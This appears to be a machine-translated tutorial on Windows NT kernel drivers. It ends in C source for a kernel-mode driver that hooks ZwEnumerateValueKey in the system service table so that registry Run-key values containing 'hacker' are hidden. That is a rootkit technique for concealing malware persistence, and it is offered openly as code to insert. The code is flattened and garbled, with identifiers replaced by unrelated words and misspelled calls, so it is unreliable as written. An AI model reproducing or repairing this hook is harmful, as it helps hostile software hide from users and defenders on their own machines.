In Windows NT, The 80386 protection mode is more robust than Windows 95, and this "gold-plated cage" is more robust and hard to break. In Windows 95, at least application I/O operations are unrestricted, while in Windows NT, our applications are deprived of this permission. In NT, it is almost impossible to enter the real ring0 layer.
In Windows NT, there are three device drivers:
1. "virtual device driver" (VDD ). Through VDD, 16-bit applications, such as DOS and Win16 applications, can access specific I/O Ports (note that access is not implemented directly, but through VDD ).
2. "GDI driver", which provides the required GDI functions for display and printing.
3. "kernel mode driver" is used to perform operations on specific hardware, such as createfile, closehandle (for file objects), readfile, writefile, and deviceiocontrol. "Kernel mode driver" is the only driver in Windows NT that can operate on hardware interruptions and DMA. Both the SCSI small port driver and the nic ndis driver are special forms of Kernel Mode driver.
Visual studio11 and Windows 8 Bring exceptionally different new experiences
1. Start vs11
2. See the full-purpose driver development Template
3. Select a driver mode. There are two drivers: Kernel Mode and user mode.
4. Create a driver, kmdf drivermvp
5. We chose the kernel-mode driver. The following is the created interface, namely the driver itself and the driver installation package.
6. Press F5 and select driver compilation,
Insert the following code to hide the Registry on the ring0 layer. For more information, see code analysis.
# Include <ntddk. h> extern ntsysapi ntstatus ntapi obquerynamestring (in pvoid object, out struct objectnameinfo, in ulong length, out Pulong returnlength); extern ntsysapi ntstatus ntapi handle (in handle keyhandle, in ulong index, in key_value_information_class keyvalueinformationclass, out pvoid keyvalueinformation, in ulong length, out Pulong resultlength); // declare the original function typedef n Tstatus (* handle) (IN handle keyhandle, in ulong index, in key_value_information_class keyvalueinformationclass, out pvoid keyvalueinformation, in ulong length, out Pulong resultlength); // defines the pointer of the original function; // Our hook function ntstatus hookzweeratevaluekey (in handle keyhandle, in ulong index, in key_value_information_class keyvalueinformationclass, out PV Oid keyvalueinformation, in ulong length, out Pulong resultlength); pcwstr hidevalue = l "hacker"; // systemservice definition typedef struct servicedescriptorentry {unsigned int * servicetablebase; // keyword segment, point to the base address unsigned int * servicecountertablebase; unsigned int numberofservices; unsigned char * paramtablebase;} servicedescriptortableentry_t, * pservicedescriptortableentry_t; _ declspec (dlli Mport) servicedescriptortableentry_t keservicedescriptortable; # define systemservice (_ function) keservicedescriptortable. servicetablebase [* (Pulong) (puchar) _ FUNCTION + 1)] pvoid getpointer (handle) {pvoid pkey; If (! Handle) return NULL; // The obreferenceobjectbyhandle function is used to obtain the fileobject corresponding to the handle. The obtained pointer is converted to the file object pointer if (obreferenceobjectbyhandle (handle, 0, null, kernelmode, & pkey, null )! = STATUS_SUCCESS) {pkey = NULL;} return pkey;} ntstatus values (in handle keyhandle, in ulong index, in between keyvalueinformationclass, out pvoid keyvalueinformation, in ulong length, out Pulong resultlength) {pvoid pkey; unicode_string * puniname; ulong actuallen; ansi_string keyname; ntstatus status; unicode_string ustrvaluename; pcwstr valuename; status = (realzwenumer Atevaluekey) (realzwenumeratevaluekey) (keyhandle, index, keyvalueinformationclass, keyvalueinformation, length, resultlength); // obtain the Object Pointer if (pkey = getpointer (keyhandle )) {// allocate memory puniname = exallocatepool (nonpagedpool, 1024*2); puniname-> maximumlength = 512*2; // clear the content in puniname memset (puniname, 0, puniname-> maximumlength); // obtain the registry key path if (nt_success (obquerynamestring (pkey, puniname, 512*2, & actuallen ))) {Rtlunicodestringtoansistring (& keyname, puniname, true); keyname. buffer = _ strupr (keyname. buffer); // determine whether the run item if (strcmp (keyname. buffer, "\ REGISTRY \ MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run") = 0) {Switch (keyvalueinformationclass) {Case keyvaluebasicinformation: // key_value_basic_informationvaluename = (pkey_value_basic_information) keyvalueinformation)-> name; break; Case keyvaluefulli Nformation: // key_value_full_informationvaluename = (pkey_value_full_information) keyvalueinformation)-> name; break ;} // determine whether the value in valuename has a hacker // If so, return status_access_deniedif (valuename! = NULL) & (wcsstr (valuename, hidevalue )! = NULL) {dbuplint ("Hide value \ n"); rtlfreeansistring (& keyname); // release the memory if (puniname) {exfreepool (puniname );} return STATUS_ACCESS_DENIED ;}}} status = realzwenumeratevaluekey (keyhandle, index, keyvalueinformationclass, keyvalueinformation, length, resultlength); If (puniname) {exfreepool (puniname );} return (Status);} void driverunload (in pdriver_object driverobject) {dbuplint ("the driver has stopped \ n"); (realzwenumeratevaluekey) (systemservice (zwenumeratevaluekey) = success ;} ntstatus DriverEntry (in pdriver_object driverobject, in punicode_string registrypath) {dbuplint ("the driver has been loaded \ n"); bytes = (bytes) (systemservice (zwenumeratevaluekey); (bytes) (systemservice (zwenumeratevaluekey) = hookzwenumeratevaluekey; driverobject-> driverunload = driverunload; return STATUS_SUCCESS ;}